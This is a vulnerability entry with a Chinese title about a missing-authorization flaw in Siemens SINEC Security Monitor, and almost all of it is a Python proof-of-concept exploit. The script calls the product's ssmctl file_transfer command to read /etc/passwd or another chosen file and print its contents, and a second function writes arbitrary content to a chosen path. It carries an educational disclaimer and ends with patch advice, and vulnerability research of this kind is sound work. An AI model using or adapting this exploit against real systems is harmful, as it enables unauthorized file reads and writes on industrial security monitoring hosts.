CVE-2025-40830 SINEC Security Monitor 授权检查缺失漏洞

#!/usr/bin/env python3 """ CVE-2025-40830 PoC - SINEC Security Monitor ssmctl-client File Transfer Authorization Bypass Note: This PoC is for educational and security research purposes only. """ import subprocess import sys import os def check_vulnerability(target_file="/etc/passwd"): """ Check if SINEC Security Monitor is vulnerable to CVE-2025-40830 by attempting to read a sensitive file through ssmctl-client file_transfer """ print(f"[*] CVE-2025-40830 Vulnerability Check") print(f"[*] Target: SINEC Security Monitor < V4.10.0") print(f"[*] Testing file read: {target_file}") # Check if ssmctl-client exists ssmctl_path = "/usr/bin/ssmctl" # Common installation path if not os.path.exists(ssmctl_path): ssmctl_path = "/opt/siemens/ssm/bin/ssmctl" if not os.path.exists(ssmctl_path): print("[-] ssmctl-client not found on this system") return False print(f"[+] Found ssmctl-client at: {ssmctl_path}") # Attempt to read file via file_transfer command # This should fail for low-privileged users if properly patched try: cmd = [ ssmctl_path, "file_transfer", "--action", "read", "--path", target_file ] print(f"[*] Executing: {' '.join(cmd)}") result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) if result.returncode == 0 and result.stdout: print(f"[+] VULNERABLE: Successfully read {target_file}") print(f"[+] File contents:\n{result.stdout[:500]}") return True else: print(f"[-] Not vulnerable or access denied") print(f"[-] stderr: {result.stderr}") return False except Exception as e: print(f"[-] Error: {e}") return False def exploit_write(target_path="/tmp/pwned.txt", content=" Compromised"): """ Demonstrate arbitrary file write (requires vulnerability to exist) """ print(f"[*] Attempting to write to: {target_path}") ssmctl_path = "/usr/bin/ssmctl" try: cmd = [ ssmctl_path, "file_transfer", "--action", "write", "--path", target_path, "--content", content ] print(f"[*] Executing: {' '.join(cmd)}") result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) if result.returncode == 0: print(f"[+] VULNERABLE: Successfully wrote to {target_path}") return True else: print(f"[-] Write attempt failed") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("="*60) print("CVE-2025-40830 - SINEC Security Monitor Authorization Bypass") print("="*60) if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: check_vulnerability() print("\n[*] PoC completed. Upgrade to V4.10.0+ to remediate.")